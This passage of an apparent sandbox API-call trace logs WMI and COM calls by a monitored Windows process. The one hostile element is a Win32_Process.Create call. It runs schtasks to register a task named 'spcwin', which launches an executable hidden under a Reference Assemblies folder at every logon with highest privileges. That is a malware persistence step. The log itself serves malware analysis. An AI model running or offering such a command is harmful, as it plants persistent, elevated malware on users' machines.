lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0129.594] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0129.595] IWbemServices:GetObject (in: This=0x1bb81440, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb91be0, ppCallResult=0x0) returned 0x0 [0129.601] IWbemClassObject:GetMethod (in: This=0x1bb91be0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb91f50, ppOutSignature=0x1bb7e690*=0x1bb922c0) returned 0x0 [0129.601] IWbemClassObject:SpawnInstance (in: This=0x1bb91f50, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bba39d0) returned 0x0 [0129.602] IWbemClassObject:Get (in: This=0x1bba39d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdbe0*=0, plFlavor=0x27bdbe4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdbe0*=8, plFlavor=0x27bdbe4*=32) returned 0x0 [0129.602] IWbemClassObject:Get (in: This=0x1bba39d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdbe0*=8, plFlavor=0x27bdbe4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdbe0*=8, plFlavor=0x27bdbe4*=32) returned 0x0 [0129.602] IWbemClassObject:Put (This=0x1bba39d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"spcwin\" /sc ONLOGON /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0129.602] IWbemClassObject:Get (in: This=0x1bba39d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdc70*=0, plFlavor=0x27bdc74*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdc70*=13, plFlavor=0x27bdc74*=32) returned 0x0 [0129.603] IWbemClassObject:Get (in: This=0x1bba39d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdc70*=13, plFlavor=0x27bdc74*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdc70*=13, plFlavor=0x27bdc74*=32) returned 0x0 [0129.603] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb91500) returned 0x0 [0129.603] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0129.603] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0129.603] IUnknown:AddRef (This=0x1bb91500) returned 0x3 [0129.603] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0129.604] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0129.604] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb91508) returned 0x0 [0129.604] IMarshal:GetUnmarshalClass (in: This=0x1bb91508, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0129.604] IUnknown:Release (This=0x1bb91508) returned 0x3 [0129.604] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0129.604] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0129.604] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0129.604] IUnknown:Release (This=0x1bb91500) returned 0x2 [0129.604] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0129.604] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0129.605] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0129.605] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0129.605] IUnknown:QueryInterface (in: This=0x1bb91500, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0129.605] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0129.605] IUnknown:AddRef (This=0x1bb91500) returned 0x3 [0129.605] IWbemClassObject:Put (This=0x1bba39d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb91500, varVal2=0x0), Type=0) returned 0x0 [0129.605] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b190, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0129.605] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0129.605] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.605] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0129.605] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0129.605] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.606] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0129.606] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0129.606] IWbemServices:ExecMethod (in: This=0x1bb81440, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bba39d0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bba40c0, ppCallResult=0x0) returned 0x0 [0129.872] IWbemClassObject:Get (in: This=0x1bba40c0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdf88*=0, plFlavor=0x27bdf8c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xed4, varVal2=0x0), pType=0x27bdf88*=19, plFlavor=0x27bdf8c*=0) returned 0x0 [0129.872] IWbemClassObject:Get (in: This=0x1bba40c0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27bdf88*=19, plFlavor=0x27bdf8c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xed4, varVal2=0x0), pType=0x27bdf88*=19, plFlavor=0x27bdf8c*=0) returned 0x0 [0129.873] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0129.874] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0129.874] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0129.874] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.876] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb9dcb0) returned 0x0 [0129.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9dcb0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0129.876] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9dcb0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0b610) returned 0x0 [0129.876] WbemDefPath:IUnknown:Release (This=0x1bb9dcb0) returned 0x0 [0129.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0b610) returned 0x0 [0129.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0129.877] WbemDefPath:IUnknown:AddRef (This=0x1aa0b610) returned 0x3 [0129.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0129.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0129.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb9dcf0) returned 0x0 [0129.877] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9dcf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.877] WbemDefPath:IUnknown:Release (This=0x1bb9dcf0) returned 0x3 [0129.877] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0129.877] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0129.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0129.877] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x2 [0129.877] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x1 [0129.877] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0129.877] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0129.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0b610) returned 0x0 [0129.877] WbemDefPath:IUnknown:AddRef (This=0x1aa0b610) returned 0x3 [0129.877] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x2 [0129.877] WbemDefPath:IWbemPath:SetText (This=0x1aa0b610, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0129.877] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b610, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0129.877] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b610, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0129.877] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b610, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0129.878] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b610, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0129.878] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b610, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0129.878] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b610, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0129.878] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0129.878] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0129.878] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0129.878] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.880] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb9dd30) returned 0x0 [0129.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9dd30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0129.880] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9dd30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0b6d0) returned 0x0 [0129.880] WbemDefPath:IUnknown:Release (This=0x1bb9dd30) returned 0x0 [0129.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0b6d0) returned 0x0 [0129.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0129.881] WbemDefPath:IUnknown:AddRef (This=0x1aa0b6d0) returned 0x3 [0129.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0129.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0129.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb9dd70) returned 0x0 [0129.881] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9dd70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.881] WbemDefPath:IUnknown:Release (This=0x1bb9dd70) returned 0x3 [0129.881] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0129.881] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0129.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0129.881] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x2 [0129.881] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x1 [0129.881] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0129.881] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0129.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0b6d0) returned 0x0 [0129.882] WbemDefPath:IUnknown:AddRef (This=0x1aa0b6d0) returned 0x3 [0129.882] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x2 [0129.882] WbemDefPath:IWbemPath:SetText (This=0x1aa0b6d0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b6d0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b6d0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b6d0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b6d0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0129.882] 